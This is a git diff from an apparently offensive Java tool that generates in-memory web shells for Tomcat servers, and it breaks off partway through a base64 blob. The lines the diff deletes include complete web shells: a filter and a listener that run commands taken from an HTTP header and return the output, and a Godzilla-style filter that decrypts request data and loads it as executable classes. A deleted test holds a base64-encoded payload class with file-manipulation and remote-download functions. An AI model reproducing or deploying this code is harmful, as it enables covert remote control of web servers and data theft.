godzillaConfig.getHeaderValue()); + godzillaConfig.getHeaderValue(), + useJakarta, + targetJdkVersion + ); break; } case CMD: { @@ -93,7 +106,8 @@ public class TomcatShell { shellConfig.getInjectorClassName(), shellConfig.getShellClassName(), shellBytes, - shellConfig.getUrlPattern()); + shellConfig.getUrlPattern(), + targetJdkVersion); return GenerateResult.builder() .shellClassName(shellConfig.getShellClassName()) diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/command/CommandFilter.java b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/command/CommandFilter.java index b2b5564a..0bf341b6 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/command/CommandFilter.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/command/CommandFilter.java @@ -45,4 +45,4 @@ public class CommandFilter implements Filter { public void destroy() { } -} +} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/command/CommandJakartaFilter.java b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/command/CommandJakartaFilter.java deleted file mode 100644 index ff5be115..00000000 --- a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/command/CommandJakartaFilter.java +++ /dev/null @@ -1,40 +0,0 @@ -package com.reajason.javaweb.memsell.tomcat.command; - -import jakarta.servlet.*; -import jakarta.servlet.http.HttpServletRequest; -import jakarta.servlet.http.HttpServletResponse; - -import java.io.IOException; -import java.io.InputStream; - -/** - * @author ReaJason - * @since 2024/11/24 - */ -public class CommandJakartaFilter implements Filter { - public String headerName; - - @Override - public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { - HttpServletRequest servletRequest = (HttpServletRequest) request; - HttpServletResponse servletResponse = (HttpServletResponse) response; - String cmd = servletRequest.getHeader(headerName); - try { - if (cmd != null) { - Process exec = Runtime.getRuntime().exec(cmd); - InputStream inputStream = exec.getInputStream(); - ServletOutputStream outputStream = servletResponse.getOutputStream(); - byte[] buf = new byte[8192]; - int length; - while ((length = inputStream.read(buf)) != -1) { - outputStream.write(buf, 0, length); - } - } else { - chain.doFilter(servletRequest, servletResponse); - } - } catch (Exception e) { - chain.doFilter(servletRequest, servletResponse); - } - } - -} diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/command/CommandJakartaListener.java b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/command/CommandJakartaListener.java deleted file mode 100644 index 93ce8442..00000000 --- a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/command/CommandJakartaListener.java +++ /dev/null @@ -1,70 +0,0 @@ -package com.reajason.javaweb.memsell.tomcat.command; - -import jakarta.servlet.ServletOutputStream; -import jakarta.servlet.ServletRequestEvent; -import jakarta.servlet.ServletRequestListener; -import jakarta.servlet.http.HttpServletRequest; -import jakarta.servlet.http.HttpServletResponse; - -import java.io.InputStream; -import java.lang.reflect.Field; - -/** - * @author ReaJason - */ -public class CommandJakartaListener implements ServletRequestListener { - public String headerName; - - public CommandJakartaListener() { - } - - @Override - public void requestInitialized(ServletRequestEvent servletRequestEvent) { - HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); - try { - String cmd = request.getHeader(headerName); - if (cmd != null) { - HttpServletResponse servletResponse = this.getResponseFromRequest(request); - Process exec = Runtime.getRuntime().exec(cmd); - InputStream inputStream = exec.getInputStream(); - ServletOutputStream outputStream = servletResponse.getOutputStream(); - byte[] buf = new byte[8192]; - int length; - while ((length = inputStream.read(buf)) != -1) { - outputStream.write(buf, 0, length); - } - } - } catch (Exception ignored) { - } - } - - private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { - HttpServletResponse response = null; - try { - response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response"); - } catch (Exception e) { - response = (HttpServletResponse) getFieldValue(request, "response"); - } - return response; - } - - @SuppressWarnings("all") - public static synchronized Object getFieldValue(Object obj, String name) throws Exception { - Field field = null; - Class clazz = obj.getClass(); - while (clazz != Object.class) { - try { - field = clazz.getDeclaredField(name); - break; - } catch (NoSuchFieldException var5) { - clazz = clazz.getSuperclass(); - } - } - if (field == null) { - throw new NoSuchFieldException(name); - } else { - field.setAccessible(true); - return field.get(obj); - } - } -} diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaJakartaFilter.java b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaJakartaFilter.java deleted file mode 100755 index 1ca2a2cb..00000000 --- a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaJakartaFilter.java +++ /dev/null @@ -1,120 +0,0 @@ -package com.reajason.javaweb.memsell.tomcat.godzilla; - -import javax.crypto.Cipher; -import javax.crypto.spec.SecretKeySpec; -import jakarta.servlet.*; -import jakarta.servlet.http.HttpServletRequest; -import jakarta.servlet.http.HttpServletResponse; -import jakarta.servlet.http.HttpSession; -import java.io.ByteArrayOutputStream; -import java.io.IOException; - -/** - * @author ReaJason - */ -public class GodzillaJakartaFilter extends ClassLoader implements Filter { - public String key; - public String pass; - public String md5; - public String headerName; - public String headerValue; - - public GodzillaJakartaFilter() { - } - - public GodzillaJakartaFilter(ClassLoader z) { - super(z); - } - - @SuppressWarnings("all") - public Class Q(byte[] cb) { - return super.defineClass(cb, 0, cb.length); - } - - public byte[] x(byte[] s, boolean m) { - try { - - Cipher c = Cipher.getInstance("AES"); - c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); - return c.doFinal(s); - } catch (Exception var4) { - return null; - } - } - - @Override - @SuppressWarnings("all") - public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws ServletException, IOException { - HttpServletRequest request = (HttpServletRequest) servletRequest; - HttpServletResponse response = (HttpServletResponse) servletResponse; - try { - if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { - HttpSession session = request.getSession(); - byte[] data = base64Decode(request.getParameter(pass)); - data = this.x(data, false); - if (session.getAttribute("payload") == null) { - session.setAttribute("payload", (new GodzillaJakartaFilter(this.getClass().getClassLoader())).Q(data)); - } else { - request.setAttribute("parameters", data); - ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); - Object f; - try { - f = ((Class) session.getAttribute("payload")).newInstance(); - } catch (InstantiationException | IllegalAccessException e) { - throw new RuntimeException(e); - } - f.equals(arrOut); - f.equals(request); - response.getWriter().write(md5.substring(0, 16)); - f.toString(); - response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); - response.getWriter().write(md5.substring(16)); - } - - } else { - chain.doFilter(servletRequest, servletResponse); - } - } catch (Exception e) { - chain.doFilter(servletRequest, servletResponse); - } - - } - - @SuppressWarnings("all") - public static String base64Encode(byte[] bs) throws Exception { - String value = null; - Class base64; - try { - base64 = Class.forName("java.util.Base64"); - Object encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); - value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs); - } catch (Exception var6) { - try { - base64 = Class.forName("sun.misc.BASE64Encoder"); - Object encoder = base64.newInstance(); - value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs); - } catch (Exception ignored) { - } - } - return value; - } - - @SuppressWarnings("all") - public static byte[] base64Decode(String bs) { - byte[] value = null; - Class base64; - try { - base64 = Class.forName("java.util.Base64"); - Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); - value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); - } catch (Exception var6) { - try { - base64 = Class.forName("sun.misc.BASE64Decoder"); - Object decoder = base64.newInstance(); - value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); - } catch (Exception ignored) { - } - } - return value; - } -} diff --git a/generator/src/test/java/com/reajason/javaweb/GodzillaConnectionTest.java b/generator/src/test/java/com/reajason/javaweb/GodzillaConnectionTest.java deleted file mode 100644 index a20be21a..00000000 --- a/generator/src/test/java/com/reajason/javaweb/GodzillaConnectionTest.java +++ /dev/null @@ -1,118 +0,0 @@ -package com.reajason.javaweb; - -import lombok.SneakyThrows; -import org.apache.commons.codec.binary.Base64; -import org.apache.commons.io.IOUtils; -import org.junit.jupiter.api.Test; - -import javax.crypto.Cipher; -import javax.crypto.spec.SecretKeySpec; -import java.io.ByteArrayInputStream; -import java.io.ByteArrayOutputStream; -import java.io.IOException; -import java.net.URLDecoder; -import java.net.URLEncoder; -import java.nio.file.Files; -import java.nio.file.Paths; -import java.util.zip.GZIPInputStream; -import java.util.zip.GZIPOutputStream; - -/** - * @author ReaJason - * @since 2024/11/24 - */ -class GodzillaConnectionTest { - - @Test - void test() throws IOException { - byte[] bytes = Base64.decodeBase64("yv66vgADAC0FagcFaAEAB3BheWxvYWQHAAQBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIBAAh0b0Jhc2U2NAEAAltDAQAMcGFyYW1ldGVyTWFwAQATTGphdmEvdXRpbC9IYXNoTWFwOwEACnNlc3Npb25NYXABAA5zZXJ2bGV0Q29udGV4dAEAEkxqYXZhL2xhbmcvT2JqZWN0OwEADnNlcnZsZXRSZXF1ZXN0AQALaHR0cFNlc3Npb24BAAtyZXF1ZXN0RGF0YQEAAltCAQAMb3V0cHV0U3RyZWFtAQAfTGphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtOwEAB2NsYXNzJDABABFMamF2YS9sYW5nL0NsYXNzOwEACVN5bnRoZXRpYwEAB2NsYXNzJDEBAAdjbGFzcyQyAQAHY2xhc3MkMwEAB2NsYXNzJDQBAAdjbGFzcyQ1AQAHY2xhc3MkNgEAB2NsYXNzJDcBAAdjbGFzcyQ4AQAHY2xhc3MkOQEACGNsYXNzJDEwAQAIPGNsaW5pdD4BAAMoKVYBAARDb2RlCQABACMMAAUABgEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABjxpbml0PgoAAwAoDAAmACAHACoBABFqYXZhL3V0aWwvSGFzaE1hcAoAKQAoCQABAC0MAAcACAEABHRoaXMBAAlMcGF5bG9hZDsBABooTGphdmEvbGFuZy9DbGFzc0xvYWRlcjspVgoAAwAyDAAmADABAAZsb2FkZXIBABdMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAAWcBABUoW0IpTGphdmEvbGFuZy9DbGFzczsKAAMAOAwAOQA6AQALZGVmaW5lQ2xhc3MBABcoW0JJSSlMamF2YS9sYW5nL0NsYXNzOwEAAWIBAANydW4BAAQoKVtCCAA/AQANZXZhbENsYXNzTmFtZQoAAQBBDABCAEMBAANnZXQBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwgARQEACm1ldGhvZE5hbWUKAEcASQcASAEAEGphdmEvbGFuZy9PYmplY3QMAEoASwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwoATQBPBwBOAQAPamF2YS9sYW5nL0NsYXNzDABQAFEBAAlnZXRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7CgBTAFUHAFQBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QMAFYASwEADWdldFJldHVyblR5cGUJAAEAWAwAEgATCAAPCgBNAFsMAFwAXQEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7BwBfAQAeamF2YS9sYW5nL05vQ2xhc3NEZWZGb3VuZEVycm9yCgBhAGMHAGIBABNqYXZhL2xhbmcvVGhyb3dhYmxlDABkAGUBAApnZXRNZXNzYWdlAQAUKClMamF2YS9sYW5nL1N0cmluZzsKAF4AZwwAJgBoAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWCgBNAGoMAGsAbAEAEGlzQXNzaWduYWJsZUZyb20BABQoTGphdmEvbGFuZy9DbGFzczspWgoAUwBuDABvAHABAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsHAA8IAHMBACR0aGlzIG1ldGhvZCByZXR1cm5UeXBlIG5vdCBpcyBieXRlW10KAHUAdwcAdgEAEGphdmEvbGFuZy9TdHJpbmcMAHgAPQEACGdldEJ5dGVzCQABAHoMAAkACAoAKQB8DABCAH0BACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwoATQB/DACAAIEBAAtuZXdJbnN0YW5jZQEAFCgpTGphdmEvbGFuZy9PYmplY3Q7CgBHAIMMAIQAhQEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgoARwCHDACIAGUBAAh0b1N0cmluZwgAigEABnJlc3VsdAgAjAEADnJldHVybiB0eXBlRXJyCACOAQARZXZhbENsYXNzIGlzIG51bGwIAJABAA5tZXRob2QgaXMgbnVsbAcAkgEAHWphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtCgCRACgHAJUBABNqYXZhL2lvL1ByaW50U3RyZWFtCgCUAJcMACYAmAEAGShMamF2YS9pby9PdXRwdXRTdHJlYW07KVYKAGEAmgwAmwCcAQAPcHJpbnRTdGFja1RyYWNlAQAYKExqYXZhL2lvL1ByaW50U3RyZWFtOylWCgCUAJ4MAJ8AIAEABWZsdXNoCgCUAKEMAKIAIAEABWNsb3NlCgCRAKQMAKUAPQEAC3RvQnl0ZUFycmF5BwCnAQAgamF2YS9sYW5nL0NsYXNzTm90Rm91bmRFeGNlcHRpb24BAAljbGFzc05hbWUBABJMamF2YS9sYW5nL1N0cmluZzsBAAZtZXRob2QBABpMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEACWV2YWxDbGFzcwEABm9iamVjdAEADHJlc3VsdE9iamVjdAEAAWUBABVMamF2YS9sYW5nL1Rocm93YWJsZTsBAAZzdHJlYW0BAAtwcmludFN0cmVhbQEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAD2Zvcm1hdFBhcmFtZXRlcgoAKQC2DAC3ACABAAVjbGVhcggACQoAKQC6DAC7ALwBAANwdXQBADgoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwgADAkAAQC/DAAMAAsIAAoJAAEAwgwACgALCAANCQABAMUMAA0ACwkAAQDHDAAOAA8HAMkBABxqYXZhL2lvL0J5dGVBcnJheUlucHV0U3RyZWFtCgDIAMsMACYAzAEABShbQilWBwDOAQAdamF2YS91dGlsL3ppcC9HWklQSW5wdXRTdHJlYW0KAM0A0AwAJgDRAQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWCgDTANUHANQBACFqYXZhL3V0aWwvemlwL0luZmxhdGVySW5wdXRTdHJlYW0MANYA1wEABHJlYWQBAAMoKUkKAHUAywoA2gDcBwDbAQAZamF2YS9pby9GaWx0ZXJJbnB1dFN0cmVhbQwA1gDdAQAFKFtCKUkKAAEA3wwA4ADdAQAKYnl0ZXNUb0ludAoAzQDiDADWAOMBAAcoW0JJSSlJCgCRAOUMAOYAIAEABXJlc2V0CgCRAOgMAOkA6gEABXdyaXRlAQAEKEkpVgoAkQChCgDIAKEKAM0AoQcA7wEAE2phdmEvbGFuZy9FeGNlcHRpb24BAA1wYXJhbWV0ZXJCeXRlAQAHdFN0cmVhbQEAHkxqYXZhL2lvL0J5dGVBcnJheUlucHV0U3RyZWFtOwEAAnRwAQADa2V5AQAEbGVuQgEABGRhdGEBAAtpbnB1dFN0cmVhbQEAH0xqYXZhL3V0aWwvemlwL0daSVBJbnB1dFN0cmVhbTsBAAF0AQABQgEAA2xlbgEAAUkBAApyZWFkT25lTGVuCgABAP8MAQAAhQEABmhhbmRsZQoAAQECDAEDAQQBAAVub0xvZwEAFShMamF2YS9sYW5nL09iamVjdDspVgEAA29iagkAAQEHDAAVABMIAQkBAB1qYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbQkAAQELDAAQABEIAQ0BACIlcy5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXF1ZXN0CgABAQ8MARABEQEADHN1cHBvcnRDbGFzcwEAJyhMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZzspWggBEwEAGSVzLnNlcnZsZXQuU2VydmxldFJlcXVlc3QIARUBABslcy5zZXJ2bGV0Lmh0dHAuSHR0cFNlc3Npb24KAAEBFwwBGAEEAQAUaGFuZGxlUGF5bG9hZENvbnRleHQIARoBAAxnZXRBdHRyaWJ1dGUJAAEBHAwAFgATCAEeAQAQamF2YS5sYW5nLlN0cmluZwgBIAEACnBhcmFtZXRlcnMKAAEBIgwBIwEkAQASZ2V0TWV0aG9kQW5kSW52b2tlAQBdKExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzO1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAKcmV0Vk9iamVjdAgBJwEACmdldFJlcXVlc3QKAAEBKQwBKgErAQAQZ2V0TWV0aG9kQnlDbGFzcwEAUShMamF2YS9sYW5nL0NsYXNzO0xqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwgBLQEAEWdldFNlcnZsZXRDb250ZXh0CAEvAQAKZ2V0U2Vzc2lvbgEAEGdldFJlcXVlc3RNZXRob2QBABdnZXRTZXJ2bGV0Q29udGV4dE1ldGhvZAEAEGdldFNlc3Npb25NZXRob2QIATQBAAVqYXZheAoAdQE2DAE3ATgBAAZmb3JtYXQBADkoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL1N0cmluZzsKAAEBOgwASgBdCAE8AQAHamFrYXJ0YQEAD2NsYXNzTmFtZVN0cmluZwEAA3JldAEAAVoBAAFjCgABAUIMAUMAIAEADmluaXRTZXNzaW9uTWFwBwFFAQAeamF2YS91dGlsL3ppcC9HWklQT3V0cHV0U3RyZWFtCgFEAJcKAAEBSAwAtAAgCAFKAQAMZXZhbE5leHREYXRhCgABAUwMADwAPQoBTgFQBwFPAQAaamF2YS9pby9GaWx0ZXJPdXRwdXRTdHJlYW0MAOkAzAoBUgChBwFTAQAiamF2YS91dGlsL3ppcC9EZWZsYXRlck91dHB1dFN0cmVhbQgBVQEAFG91dHB1dFN0cmVhbSBpcyBudWxsAQAMcmV0dXJuU3RyaW5nAQAQZ3ppcE91dHB1dFN0cmVhbQEAIExqYXZhL3V0aWwvemlwL0daSVBPdXRwdXRTdHJlYW07CgABAVoMAVsBXAEAE2dldFNlc3Npb25BdHRyaWJ1dGUBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvT2JqZWN0OwoAAQFeDAFfAWABABNzZXRTZXNzaW9uQXR0cmlidXRlAQAnKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvT2JqZWN0OylWAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAMZ2V0Qnl0ZUFycmF5AQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEABHRlc3QIAWYBAAJvawEAB2dldEZpbGUIAWkBAAdkaXJOYW1lCgB1AWsMAWwAZQEABHRyaW0KAHUAKAcBbwEAFmphdmEvbGFuZy9TdHJpbmdCdWZmZXIKAW4AKAcBcgEADGphdmEvaW8vRmlsZQoBcQBnCgFxAXUMAXYBdwEAD2dldEFic29sdXRlRmlsZQEAECgpTGphdmEvaW8vRmlsZTsKAW4BeQwBegF7AQAGYXBwZW5kAQAsKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL1N0cmluZ0J1ZmZlcjsIAX0BAAEvCgFuAX8MAXoBgAEALChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWZmZXI7CgFuAIcKAXEBgwwBhAGFAQAGZXhpc3RzAQADKClaCgFxAYcMAYgBiQEACWxpc3RGaWxlcwEAESgpW0xqYXZhL2lvL0ZpbGU7CgB1AYsMAYwBjQEAB3ZhbHVlT2YBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvU3RyaW5nOwoBbgBnCAGQAQABCgoBcQGSDAGTAGUBAAdnZXROYW1lCAGVAQABCQoBcQGXDAGYAYUBAAtpc0RpcmVjdG9yeQgBmgEAATAIAZwBAAExBwGeAQAaamF2YS90ZXh0L1NpbXBsZURhdGVGb3JtYXQIAaABABN5eXl5LU1NLWRkIEhIOm1tOnNzCgGdAGcHAaMBAA5qYXZhL3V0aWwvRGF0ZQoBcQGlDAGmAacBAAxsYXN0TW9kaWZpZWQBAAMoKUoKAaIBqQwAJgGqAQAEKEopVgoBrAGuBwGtAQAUamF2YS90ZXh0L0RhdGVGb3JtYXQMATcBrwEAJChMamF2YS91dGlsL0RhdGU7KUxqYXZhL2xhbmcvU3RyaW5nOwoBcQGxDAGyAacBAAZsZW5ndGgKAbQBtgcBtQEAEWphdmEvbGFuZy9JbnRlZ2VyDACIAbcBABUoSSlMamF2YS9sYW5nL1N0cmluZzsKAXEBuQwBugGFAQAHY2FuUmVhZAgBvAEAAVIIAb4BAAAKAXEBwAwBwQGFAQAIY2FuV3JpdGUIAcMBAAFXCQABAcUMABcAEwgBxwEADGphdmEuaW8uRmlsZQgByQEACmNhbkV4ZWN1dGUKAXEBywwByQGFCAHNAQABWAoAdQHPDAGyANcIAdEBAAFGCAHTAQASZGlyIGRvZXMgbm90IGV4aXN0CAHVAQAcZGlyIGRvZXMgbm90IGV4aXN0IGVyck1zZzolcwgB1wEAFE5vIHBhcmFtZXRlciBkaXJOYW1lAQAGYnVmZmVyAQAEZmlsZQEADkxqYXZhL2lvL0ZpbGU7AQAKY3VycmVudERpcgEADmN1cnJlbnREaXJGaWxlAQAFZmlsZXMBAA9bTGphdmEvaW8vRmlsZTsBAAlmaWxlU3RhdGUBAAFpAQAMbGlzdEZpbGVSb290CgFxAeMMAeQBiQEACWxpc3RSb290cwoBcQHmDAHnAGUBAAdnZXRQYXRoCAHpAQABOwEADmZpbGVSZW1vdGVEb3duCAHsAQADdXJsCAHuAQAIc2F2ZUZpbGUHAfABAAxqYXZhL25ldC9VUkwKAe8AZwoB7wHzDAH0AfUBAApvcGVuU3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsHAfcBABhqYXZhL2lvL0ZpbGVPdXRwdXRTdHJlYW0KAfYAZwoB9gH6DADpAfsBAAcoW0JJSSlWCgH9ANwHAf4BABNqYXZhL2lvL0lucHV0U3RyZWFtCgIAAJ4HAgEBABRqYXZhL2lvL091dHB1dFN0cmVhbQoB9gChCgH9AKEIAgUBAAclcyA6ICVzCgBNAZIIAggBABd1cmwgb3Igc2F2ZUZpbGUgaXMgbnVsbAcCCgEAE2phdmEvaW8vSU9FeGNlcHRpb24BABpMamF2YS9pby9GaWxlT3V0cHV0U3RyZWFtOwEAFUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAB3JlYWROdW0BAAJlMQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEAC3NldEZpbGVBdHRyCAISAQAEdHlwZQgCFAEABGF0dHIIAhYBAAhmaWxlTmFtZQgCGAEABE51bGwIAhoBAA1maWxlQmFzaWNBdHRyCgB1AIMIAh0BAAtzZXRXcml0YWJsZQkCHwIhBwIgAQARamF2YS9sYW5nL0Jvb2xlYW4MAiIAEwEABFRZUEUKAHUCJAwCJQImAQAHaW5kZXhPZgEAFShMamF2YS9sYW5nL1N0cmluZzspSQoBcQIoDAIpAioBAAtzZXRSZWFkYWJsZQEABChaKVoKAXECLAwCHQIqCgFxAi4MAi8CKgEADXNldEV4ZWN1dGFibGUIAjEBAB1KYXZhIHZlcnNpb24gaXMgbGVzcyB0aGFuIDEuNggCMwEADGZpbGVUaW1lQXR0cggCNQEAD3NldExhc3RNb2RpZmllZAkCNwIhBwI4AQAOamF2YS9sYW5nL0xvbmcHAjoBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgoCOQAoCgI5Aj0MAXoCPgEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwoCOQHPCgJBAkMHAkIBABBqYXZhL3V0aWwvQXJyYXlzDAJEAkUBAARmaWxsAQAGKFtDQylWCgI5AkcMAXoCSAEAHShbQylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7CgGiAkoMAksBpwEAB2dldFRpbWUKAjkAhwoCNwJODAJPAlABAAlwYXJzZUxvbmcBABUoTGphdmEvbGFuZy9TdHJpbmc7KUoKAXECUgwCNQJTAQAEKEopWggCVQEAE2phdmEubmlvLmZpbGUuUGF0aHMIAlcBAC5qYXZhLm5pby5maWxlLmF0dHJpYnV0ZS5CYXNpY0ZpbGVBdHRyaWJ1dGVWaWV3CAJZAQATamF2YS5uaW8uZmlsZS5GaWxlcwoCWwJdBwJcAQATamF2YS9uaW8vZmlsZS9QYXRocwwAQgJeAQA7KExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbmlvL2ZpbGUvUGF0aDsJAAECYAwAGAATBwJiAQAYamF2YS9uaW8vZmlsZS9MaW5rT3B0aW9uCgJkAmYHAmUBABNqYXZhL25pby9maWxlL0ZpbGVzDAJnAmgBABRnZXRGaWxlQXR0cmlidXRlVmlldwEAbShMamF2YS9uaW8vZmlsZS9QYXRoO0xqYXZhL2xhbmcvQ2xhc3M7W0xqYXZhL25pby9maWxlL0xpbmtPcHRpb247KUxqYXZhL25pby9maWxlL2F0dHJpYnV0ZS9GaWxlQXR0cmlidXRlVmlldzsHAmoBAC5qYXZhL25pby9maWxlL2F0dHJpYnV0ZS9CYXNpY0ZpbGVBdHRyaWJ1dGVWaWV3CgJsAm4HAm0BACBqYXZhL25pby9maWxlL2F0dHJpYnV0ZS9GaWxlVGltZQwCbwJwAQAKZnJvbU1pbGxpcwEAJShKKUxqYXZhL25pby9maWxlL2F0dHJpYnV0ZS9GaWxlVGltZTsLAmkCcgwCcwJ0AQAIc2V0VGltZXMBAGkoTGphdmEvbmlvL2ZpbGUvYXR0cmlidXRlL0ZpbGVUaW1lO0xqYXZhL25pby9maWxlL2F0dHJpYnV0ZS9GaWxlVGltZTtMamF2YS9uaW8vZmlsZS9hdHRyaWJ1dGUvRmlsZVRpbWU7KVYIAnYBAB1KYXZhIHZlcnNpb24gaXMgbGVzcyB0aGFuIDEuMggCeAEADW5vIEV4Y3V0ZVR5cGUIAnoBABNFeGNlcHRpb24gZXJyTXNnOiVzCAJ8AQAgdHlwZSBvciBhdHRyIG9yIGZpbGVOYW1lIGlzIG51bGwBAARkYXRlAQAQTGphdmEvdXRpbC9EYXRlOwEAB2J1aWxkZXIBABlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQACY3MBAAduaW9GaWxlAQAbYmFzaWNGaWxlQXR0cmlidXRlVmlld0NsYXNzAQAKZmlsZXNDbGFzcwEADWF0dHJpYnV0ZVZpZXcBADBMamF2YS9uaW8vZmlsZS9hdHRyaWJ1dGUvQmFzaWNGaWxlQXR0cmlidXRlVmlldzsBAAhyZWFkRmlsZQoBcQKJDAKKAYUBAAZpc0ZpbGUHAowBABdqYXZhL2lvL0ZpbGVJbnB1dFN0cmVhbQoCiwKODAAmAo8BABEoTGphdmEvaW8vRmlsZTspVgoCiwDiCgKLAKEDADAAAAoCiwDcCgKVApcHApYBABBqYXZhL2xhbmcvU3lzdGVtDAKYApkBAAlhcnJheWNvcHkBACooTGphdmEvbGFuZy9PYmplY3Q7SUxqYXZhL2xhbmcvT2JqZWN0O0lJKVYIApsBABNmaWxlIGRvZXMgbm90IGV4aXN0CAKdAQAVTm8gcGFyYW1ldGVyIGZpbGVOYW1lAQAPZmlsZUlucHV0U3RyZWFtAQAZTGphdmEvaW8vRmlsZUlucHV0U3RyZWFtOwEAB3RlbURhdGEBAAdyZWFkTGVuAQAKdXBsb2FkRmlsZQgCpAEACWZpbGVWYWx1ZQoAAQKmDAFiAWMKAXECqAwCqQGFAQANY3JlYXRlTmV3RmlsZQoB9gKOCgH2AVAIAq0BACNObyBwYXJhbWV0ZXIgZmlsZU5hbWUgYW5kIGZpbGVWYWx1ZQEAEGZpbGVPdXRwdXRTdHJlYW0BAAduZXdGaWxlCAKxAQAEZmFpbAEABm5ld0RpcgoBcQK0DAK1AYUBAAZta2RpcnMBAApkZWxldGVGaWxlCgABArgMArkCjwEAC2RlbGV0ZUZpbGVzAQAIbW92ZUZpbGUIArwBAAtzcmNGaWxlTmFtZQgCvgEADGRlc3RGaWxlTmFtZQoBcQLADALBAsIBAAhyZW5hbWVUbwEAEShMamF2YS9pby9GaWxlOylaCALEAQAZVGhlIHRhcmdldCBkb2VzIG5vdCBleGlzdAgCxgEAJU5vIHBhcmFtZXRlciBzcmNGaWxlTmFtZSxkZXN0RmlsZU5hbWUBAAhjb3B5RmlsZQgCyQEAKlRoZSB0YXJnZXQgZG9lcyBub3QgZXhpc3Qgb3IgaXMgbm90IGEgZmlsZQEAB3NyY0ZpbGUBAAhkZXN0RmlsZQEAB2luY2x1ZGUIAs4BAAdiaW5Db2RlCALQAQAIY29kZU5hbWUKAE0C0gwC0wLUAQAOZ2V0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7CgABADIKAAEC1wwANQA2CALZAQAdTm8gcGFyYW1ldGVyIGJpbkN